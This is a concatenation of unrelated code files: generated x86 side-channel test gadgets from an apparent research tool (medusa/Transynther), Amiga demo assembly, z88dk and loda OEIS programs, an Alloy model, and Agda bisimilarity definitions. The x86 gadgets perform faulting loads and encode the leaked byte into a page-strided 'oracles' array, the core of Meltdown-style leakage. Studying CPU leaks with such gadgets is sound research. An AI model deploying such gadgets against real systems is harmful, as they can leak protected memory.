and $54852, %r12
// Faulty Load
lea addresses_D+0x1f01e, %rdi
nop
nop
nop
dec %r8
movaps (%rdi), %xmm0
vpextrq $1, %xmm0, %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'08': 2, '00': 21827}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_742.asm | ljhsiun2/medusa | 9 | 25629 | <filename>Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_742.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x17f9, %rdx
nop
nop
add $31211, %r9
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
and $45215, %rdi
lea addresses_WC_ht+0x1a5af, %r15
dec %r9
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%r15)
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0x11d59, %rdi
nop
nop
nop
nop
add $19615, %r13
movl $0x61626364, (%rdi)
xor %r15, %r15
lea addresses_normal_ht+0xa6f1, %rsi
lea addresses_UC_ht+0x13379, %rdi
nop
nop
nop
nop
nop
and $33189, %rbp
mov $126, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_UC_ht+0x117fb, %r9
nop
nop
nop
nop
add %rdx, %rdx
mov (%r9), %r14d
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %r9
push %rbx
// Load
lea addresses_US+0x10bf9, %rbx
clflush (%rbx)
nop
nop
nop
sub $16112, %r15
mov (%rbx), %r13w
nop
nop
nop
nop
add $6551, %r11
// Faulty Load
lea addresses_US+0x10bf9, %r9
nop
nop
xor %r13, %r13
movaps (%r9), %xmm7
vpextrq $0, %xmm7, %r15
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Projects/PJZ2/Template/SectionData_PublicData.asm | jonathanbennett73/amiga-pjz-planet-disco-balls | 21 | 247046 | <reponame>jonathanbennett73/amiga-pjz-planet-disco-balls<filename>Projects/PJZ2/Template/SectionData_PublicData.asm
*****************************************************************************
* Included at the end of the code section (for (pc) data)
*****************************************************************************
rsreset
CTRL_SINE_OFFSET rs.w 1
CTRL_SINE_SPEED rs.w 1
CTRL_SINE_FREQ rs.w 1
CTRL_SINE_SPEEDNEW rs.w 1
CTRL_SINE_FREQNEW rs.w 1
CTRL_SINESET_ACTIVE rs.w 1 ;>0 if sine values are being changed over time
CTRL_SINESET_COUNTER rs.w 1 ;Change counter speed
CTRL_SINE_SIZEOF rs.w 0
rsreset
CTRL_SCRIPT_PTR rs.l 1 ;Script Ptr
CTRL_FINISHED rs.w 1 ;1 if quitting
CTRL_PRECALC_INTROSTART_DONE rs.w 1 ;1 if intro precalc done
CTRL_PHASE rs.w 1 ;Current phase
CTRL_FRAME_COUNT rs.w 1 ;Local (effect) frame counter
CTRL_PAUSE_COUNTER rs.w 1 ;Pause counter, 0=running
CTRL_ISFRAMEOVER_COUNTER rs.w 1 ;Waiting for frame, 0=inactive
CTRL_ISMASTERFRAMEOVER_COUNTER rs.w 1 ;Waiting for frame, 0=inactive
CTRL_MUSICSYNC rs.w 1 ;Value returned from music E8x (may be further processed)
CTRL_MUSICSYNCMASK rs.w 1 ;The music sync value will be anded with this mask to allow script to "hide" events
CTRL_MUSICSYNCMASKWAIT rs.w 1 ;A music mask to wait for before continuing, if 00 then no wait
CTRL_MUSICSYNC_LASTFRAME rs.w 1 ;The CTRL_FRAME_COUNT value of the last music trigger
CTRL_P0_PRECALC_DONE rs.w 1 ;1 if effect precalc done
CTRL_PALETTE_LOAD_FLAG rs.w 1 ;set to >1 to force palette load
CTRL_PALETTE_ACTIVE rs.w 1 ;Palette change active
CTRL_PALETTE_PTR rs.l 1 ;src Palette ptr (16 words of colors)
CTRL_PALETTE_COUNTER rs.w 1 ;Palette counter, speed
CTRL_PALETTE_SPEED rs.w 1 ;How often to update, higher is slower, 0 = instant
CTRL_PALETTE_STEP rs.w 1 ;Current step to interpolate between current color and final 0-15
CTRL_BPL_PHYS_PTR rs.l 1 ;bpl and cl ptrs must stay in order as accessed as group.
CTRL_BPL_LOG1_PTR rs.l 1 ;Logical1
CTRL_CL_PHYS_PTR rs.l 1 ;Copper ptr - physical
CTRL_CL_LOG1_PTR rs.l 1 ;Logical1
CTRL_USERVALWAIT_ACTIVE rs.w 1 ;0=inactive
CTRL_USERVALWAIT_OFFSET rs.w 1 ;Offset into CTRL_xxx for value to check
CTRL_USERVALWAIT_VAL rs.w 1 ;The value to wait for
CTRL_USERVAL1 rs.w 1 ;Example general purpose value
CTRL_SINE1 rs.b CTRL_SINE_SIZEOF
CTRL_SINE2 rs.b CTRL_SINE_SIZEOF
CTRL_ZERODATA_SIZE rs.w 0 ;size of all zeroed data - START OF NONZERO
CTRL_SIZE rs.w 0
even
Controller_Info:
dcb.b CTRL_ZERODATA_SIZE,0 ;Init all to zero by default
even
*****************************************************************************
; Master palette poked into the copperlist each frame
PAL_Current: dcb.w PAL_NUMCOLS_MAIN,0 ;main colours
dcb.w PAL_NUMCOLS_ALT,0 ;dark/reflection colours
; This holds the old source palette used during transitions in FX_PALETTE. The
; source value is interpolated from this value to the destination value + step size.
PAL_Current_Src: dcb.w PAL_NUMCOLS_MAIN,0 ;main colours
dcb.w PAL_NUMCOLS_ALT,0 ;dark/reflection colours
*****************************************************************************
*****************************************************************************
; Include the intro script
include "Script.asm"
*****************************************************************************
*****************************************************************************
*****************************************************************************
section FW_PublicBss,bss
*****************************************************************************
;CUR_PUB_BUF set FW_Public_Buffer_1
; Screen height mult by screen bytewidth and number of bitplanes (interleaved)
Mult_SCR_Height_ByteWidth_NumPlanes:
ds.w BPL_BUF_HEIGHT
;Mult_SCR_Height_ByteWidth_NumPlanes equ CUR_PUB_BUF
;CUR_PUB_BUF set CUR_PUB_BUF+(BPL_BUF_HEIGHT*2)
*****************************************************************************
|
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_pop_front_fastcall.asm | meesokim/z88dk | 0 | 15161 | <filename>libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_pop_front_fastcall.asm
; void *p_forward_list_alt_pop_front_fastcall(p_forward_list_alt_t *list)
SECTION code_adt_p_forward_list_alt
PUBLIC _p_forward_list_alt_pop_front_fastcall
_p_forward_list_alt_pop_front_fastcall:
INCLUDE "adt/p_forward_list_alt/z80/asm_p_forward_list_alt_pop_front.asm"
|
programs/oeis/007/A007423.asm | jmorken/loda | 1 | 29069 | ; A007423: mu(n) + 1, where mu is the Moebius function.
; 2,0,0,1,0,2,0,1,1,2,0,1,0,2,2,1,0,1,0,1,2,2,0,1,1,2,1,1,0,0,0,1,2,2,2,1,0,2,2,1,0,0,0,1,1,2,0,1,1,1,2,1,0,1,2,1,2,2,0,1,0,2,1,1,2,0,0,1,2,0,0,1,0,2,1,1,2,0,0,1,1,2,0,1,2,2,2,1,0,1,2,1,2,2,2,1,0,1,1,1,0,0,0,1,0,2,0,1,0,0,2,1,0,0,2,1,1,2,2,1,1,2,2,1,1,1,0,1,2,0,0,1,2,2,1,1,0,0,0,1,2,2,2,1,2,2,1,1,0,1,0,1,1,0,2,1,0,2,2,1,2,1,0,1,0,2,0,1,1,0,1,1,0,0,1,1,2,2,0,1,0,0,2,1,2,0,2,1,1,0,0,1,0,2,0,1,0,1,0,1,2,2,2,1,2,2,1,1,2,2,0,1,2,2,2,1,2,2,2,1,2,0,0,1,1,2,0,1,0,0,0,1,0,1,2,1,2,0,0,1,0,1,1,1,1,0,2,1,2,1
cal $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0.
add $0,1
mov $1,$0
|
programs/oeis/130/A130258.asm | jmorken/loda | 1 | 84335 | ; A130258: Partial sums of the 'upper' odd Fibonacci Inverse A130256.
; 0,0,2,5,8,11,15,19,23,27,31,35,39,43,48,53,58,63,68,73,78,83,88,93,98,103,108,113,118,123,128,133,138,143,148,154,160,166,172,178,184,190,196,202,208,214,220,226,232,238,244,250,256,262,268,274,280,286,292,298,304,310,316,322,328,334,340,346,352,358,364,370,376,382,388,394,400,406,412,418,424,430,436,442,448,454,460,466,472,478,485,492,499,506,513,520,527,534,541,548,555,562,569,576,583,590,597,604,611,618,625,632,639,646,653,660,667,674,681,688,695,702,709,716,723,730,737,744,751,758,765,772,779,786,793,800,807,814,821,828,835,842,849,856,863,870,877,884,891,898,905,912,919,926,933,940,947,954,961,968,975,982,989,996,1003,1010,1017,1024,1031,1038,1045,1052,1059,1066,1073,1080,1087,1094,1101,1108,1115,1122,1129,1136,1143,1150,1157,1164,1171,1178,1185,1192,1199,1206,1213,1220,1227,1234,1241,1248,1255,1262,1269,1276,1283,1290,1297,1304,1311,1318,1325,1332,1339,1346,1353,1360,1367,1374,1381,1388,1395,1402,1409,1416,1423,1430,1437,1444,1451,1458,1465,1472,1479,1486,1494,1502,1510,1518,1526,1534,1542,1550,1558,1566,1574,1582,1590,1598,1606,1614
mov $6,$0
mov $8,$0
lpb $8
clr $0,6
mov $0,$6
sub $8,1
sub $0,$8
lpb $0
pow $2,0
add $4,1
mov $5,$2
add $5,$4
cal $0,189663 ; Partial sums of A189661.
lpe
add $7,$5
lpe
mov $1,$7
|
programs/oeis/000/A000069.asm | neoneye/loda | 22 | 162533 | <filename>programs/oeis/000/A000069.asm
; A000069: Odious numbers: numbers with an odd number of 1's in their binary expansion.
; 1,2,4,7,8,11,13,14,16,19,21,22,25,26,28,31,32,35,37,38,41,42,44,47,49,50,52,55,56,59,61,62,64,67,69,70,73,74,76,79,81,82,84,87,88,91,93,94,97,98,100,103,104,107,109,110,112,115,117,118,121,122,124,127,128,131,133,134,137,138,140,143,145,146,148,151,152,155,157,158,161,162,164,167,168,171,173,174,176,179,181,182,185,186,188,191,193,194,196,199
mul $0,2
mov $1,$0
seq $1,10059 ; Another version of the Thue-Morse sequence: let A_k denote the first 2^k terms; then A_0 = 1 and for k >= 0, A_{k+1} = A_k B_k, where B_k is obtained from A_k by interchanging 0's and 1's.
add $0,$1
|
programs/oeis/181/A181829.asm | neoneye/loda | 22 | 7724 | <filename>programs/oeis/181/A181829.asm
; A181829: a(n) = 4*A060819(n-2)*A060819(n+2).
; 0,-12,-4,-12,0,20,12,84,8,180,60,308,24,468,140,660,48,884,252,1140,80,1428,396,1748,120,2100,572,2484,168,2900,780,3348,224,3828,1020,4340,288,4884,1292,5460,360,6068,1596,6708,440,7380,1932,8084,528,8820,2300,9588,624,10388,2700,11220,728,12084,3132,12980,840,13908,3596,14868,960,15860,4092,16884,1088,17940,4620,19028,1224,20148,5180,21300,1368,22484,5772,23700,1520,24948,6396,26228,1680,27540,7052,28884,1848,30260,7740,31668,2024,33108,8460,34580,2208,36084,9212,37620
sub $0,2
pow $0,2
sub $0,4
dif $0,4
dif $0,4
mul $0,4
|
libsrc/games/bit_click_mwr.asm | andydansby/z88dk-mk2 | 1 | 12904 | ; $Id: bit_click_mwr.asm,v 1.1 2008/03/31 17:16:18 stefano Exp $
;
; 1 bit sound library - version for "memory write" I/O architectures
;
; void bit_click();
;
; <NAME> - 31/03/2008
;
XLIB bit_click
INCLUDE "games/games.inc"
XREF snd_tick
.bit_click
ld a,(snd_tick)
xor sndbit_mask
ld (sndbit_port),a
ld (snd_tick),a
ret
|
alloy4fun_models/trainstlt/models/2/mv6EtA6mkL4H6pY8R.als | Kaixi26/org.alloytools.alloy | 0 | 2581 | open main
pred idmv6EtA6mkL4H6pY8R_prop3 {
Train.pos' =Train.pos
}
pred __repair { idmv6EtA6mkL4H6pY8R_prop3 }
check __repair { idmv6EtA6mkL4H6pY8R_prop3 <=> prop3o } |
programs/oeis/214/A214392.asm | jmorken/loda | 1 | 247385 | ; A214392: If n mod 4 = 0 then a(n) = n/4, otherwise a(n) = n.
; 0,1,2,3,1,5,6,7,2,9,10,11,3,13,14,15,4,17,18,19,5,21,22,23,6,25,26,27,7,29,30,31,8,33,34,35,9,37,38,39,10,41,42,43,11,45,46,47,12,49,50,51,13,53,54,55,14,57,58,59,15,61,62,63,16,65,66,67,17,69,70,71,18,73,74,75,19,77,78,79,20,81,82,83,21,85,86,87,22,89,90,91,23,93,94,95,24,97,98,99,25,101,102,103,26,105,106,107,27,109,110,111,28,113,114,115,29,117,118,119,30,121,122,123,31,125,126,127,32,129,130,131,33,133,134,135,34,137,138,139,35,141,142,143,36,145,146,147,37,149,150,151,38,153,154,155,39,157,158,159,40,161,162,163,41,165,166,167,42,169,170,171,43,173,174,175,44,177,178,179,45,181,182,183,46,185,186,187,47,189,190,191,48,193,194,195,49,197,198,199,50,201,202,203,51,205,206,207,52,209,210,211,53,213,214,215,54,217,218,219,55,221,222,223,56,225,226,227,57,229,230,231,58,233,234,235,59,237,238,239,60,241,242,243,61,245,246,247,62,249
dif $0,4
mov $1,$0
|
3-mid/impact/source/3d/collision/shapes/impact-d3-material.ads | charlie5/lace | 20 | 10363 | <filename>3-mid/impact/source/3d/collision/shapes/impact-d3-material.ads
package impact.d3.Material
--
-- Material class to be used by btMultimaterialTriangleMeshShape to store triangle properties.
--
-- Has public members so that materials can change due to world events.
--
is
type Item is
record
m_friction,
m_restitution : math.Real;
end record;
function to_Material (friction,
restitution : math.Real) return Item;
end impact.d3.Material;
|
app/test.agda | semenov-vladyslav/cry-agda | 0 | 8244 | <reponame>semenov-vladyslav/cry-agda
module test where
open import cry.gfp
open import cry.ec
{-
-- open import IO.Primitive
-- open import Foreign.Haskell
open import Agda.Builtin.List using (List; []; _∷_)
open import Agda.Builtin.Char using (Char) renaming (primCharToNat to toNat)
open import Agda.Builtin.String using (String) renaming (primStringAppend to _++_; primStringToList to toList)
open import Agda.Builtin.Unit using (⊤)
-}
open import Data.Char using (Char; toNat)
open import Data.Nat as N using (ℕ; zero)
open import Data.Nat.Show using (show)
open import Data.List using (List; []; _∷_)
-- open import Data.Product using (_×_; _,_; proj₁)
open import Data.String using (String; _++_; toList)
open import Relation.Nullary using (yes; no)
open import IO using (IO; run; putStrLn)
open import Coinduction using (♯_)
open import Function using (_∘_; _$_)
-- open import Agda.Builtin.IO public using (IO)
_>>=_ : ∀ {a} {A B : Set a} → IO A → (A → IO B) → IO B
m >>= f = ♯ m IO.>>= λ a → ♯ f a
_>>_ : ∀ {a} {A B : Set a} → IO A → IO B → IO B
m >> n = ♯ m IO.>> ♯ n
open cry.ec using (module test-ec)
open test-ec
showElem : 𝔽 → String
showElem n = show n
read₁₀ : ℕ → List Char → ℕ × List Char
read₁₀ n [] = n , []
read₁₀ n (c ∷ cs) with toNat '0' N.≤? toNat c
... | no _ = n , cs
... | yes _ with toNat c N.≤? toNat '9'
... | no _ = n , cs
... | yes _ = read₁₀ (10 N.* n N.+ (toNat c N.∸ toNat '0')) cs
readsElem : List Char → 𝔽 × List Char
readsElem cs with read₁₀ 0 cs
... | n , cs′ = n , cs′ where
readElem : String → 𝔽
readElem = proj₁ ∘ readsElem ∘ toList
showPoint : Point → String
showPoint (x ∶ y ∶ z) = showElem x ++ ":" ++ showElem y ++ ":" ++ showElem z
readsPoint : List Char → Point × List Char
readsPoint s with readsElem s
... | x , s′ with readsElem s′
... | y , s″ with readsElem s″
... | z , s‴ = (x ∶ y ∶ z) , s‴ where
readPoint : String → Point
readPoint = proj₁ ∘ readsPoint ∘ toList
showPoint′ : Point → String
showPoint′ p = showPoint p ++ " = " ++ showPoint (aff p)
main′ : IO _
main′ = do
let
p = readPoint "4:2:1"
2p = dbl p
3p = add 2p p
3p′ = add p 2p
4p = dbl 2p
4p′ = add p 3p
4p″ = add p 3p′
5p = add 4p p
5p′ = add 2p 3p
5p+0 = add 5p 𝕆
6p = dbl 3p
6p′ = add 5p p
6p″ = add p 5p
putStrLn ("p = " ++ showPoint′ p)
putStrLn ("2p = " ++ showPoint′ 2p)
putStrLn ("3p = " ++ showPoint′ 3p)
putStrLn ("3p′ = " ++ showPoint′ 3p′)
putStrLn ("4p = " ++ showPoint′ 4p)
putStrLn ("4p′ = " ++ showPoint′ 4p′)
putStrLn ("4p″ = " ++ showPoint′ 4p″)
putStrLn ("5p = " ++ showPoint′ 5p)
putStrLn ("5p′ = " ++ showPoint′ 5p′)
putStrLn ("5p+0 = " ++ showPoint′ 5p+0)
putStrLn ("6p = " ++ showPoint′ 6p)
putStrLn ("6p′ = " ++ showPoint′ 6p′)
putStrLn ("6p″ = " ++ showPoint′ 6p″)
main = run main′
|
test/Fail/Issue610-4.agda | redfish64/autonomic-agda | 3 | 5116 | -- Andreas, 2012-04-18, bug reported by sanzhiyan
-- {-# OPTIONS -v tc.with:100 #-}
module Issue610-4 where
import Common.Level
open import Common.Equality
data ⊥ : Set where
record ⊤ : Set where
record A : Set₁ where
constructor set
field
.a : Set
.ack : A → Set
ack x = A.a x
hah : set ⊤ ≡ set ⊥
hah = refl
-- SHOULD FAIL for the same reason that the next decl fails
.moo : ⊥
moo with cong ack hah
moo | q = subst (λ x → x) q _
{- FAILS
.moo' : ⊥
moo' = subst (λ x → x) (cong ack hah) _
-}
baa : .⊥ → ⊥
baa ()
yoink : ⊥
yoink = baa moo
|
src/Bisimilarity.agda | nad/up-to | 0 | 8479 | ------------------------------------------------------------------------
-- A coinductive definition of (strong) bisimilarity
------------------------------------------------------------------------
{-# OPTIONS --sized-types #-}
open import Labelled-transition-system
module Bisimilarity {ℓ} (lts : LTS ℓ) where
open import Equality.Propositional
open import Prelude
open import Prelude.Size
import Function-universe equality-with-J as F
import Bisimilarity.General
open import Indexed-container using (Container; ν; ν′)
open import Relation
open import Up-to
open LTS lts
private
module General = Bisimilarity.General lts _[_]⟶_ _[_]⟶_ id id
open General public
using (module StepC; ⟨_,_⟩; left-to-right; right-to-left; force;
reflexive-∼; reflexive-∼′; ≡⇒∼; ∼:_; ∼′:_;
[_]_≡_; [_]_≡′_; []≡↔; module Bisimilarity-of-∼;
Extensionality; extensionality)
-- StepC is given in the following way, rather than via open public,
-- to make hyperlinks to it more informative.
StepC : Container (Proc × Proc) (Proc × Proc)
StepC = General.StepC
-- The following definitions are given explicitly, to make the code
-- easier to follow for readers of the paper.
Bisimilarity : Size → Rel₂ ℓ Proc
Bisimilarity = ν StepC
Bisimilarity′ : Size → Rel₂ ℓ Proc
Bisimilarity′ = ν′ StepC
infix 4 [_]_∼_ [_]_∼′_ _∼_ _∼′_
[_]_∼_ : Size → Proc → Proc → Type ℓ
[ i ] p ∼ q = ν StepC i (p , q)
[_]_∼′_ : Size → Proc → Proc → Type ℓ
[ i ] p ∼′ q = ν′ StepC i (p , q)
_∼_ : Proc → Proc → Type ℓ
_∼_ = [ ∞ ]_∼_
_∼′_ : Proc → Proc → Type ℓ
_∼′_ = [ ∞ ]_∼′_
private
-- However, these definitions are definitionally equivalent to
-- corresponding definitions in General.
indirect-Bisimilarity : Bisimilarity ≡ General.Bisimilarity
indirect-Bisimilarity = refl
indirect-Bisimilarity′ : Bisimilarity′ ≡ General.Bisimilarity′
indirect-Bisimilarity′ = refl
indirect-[]∼ : [_]_∼_ ≡ General.[_]_∼_
indirect-[]∼ = refl
indirect-[]∼′ : [_]_∼′_ ≡ General.[_]_∼′_
indirect-[]∼′ = refl
indirect-∼ : _∼_ ≡ General._∼_
indirect-∼ = refl
indirect-∼′ : _∼′_ ≡ General._∼′_
indirect-∼′ = refl
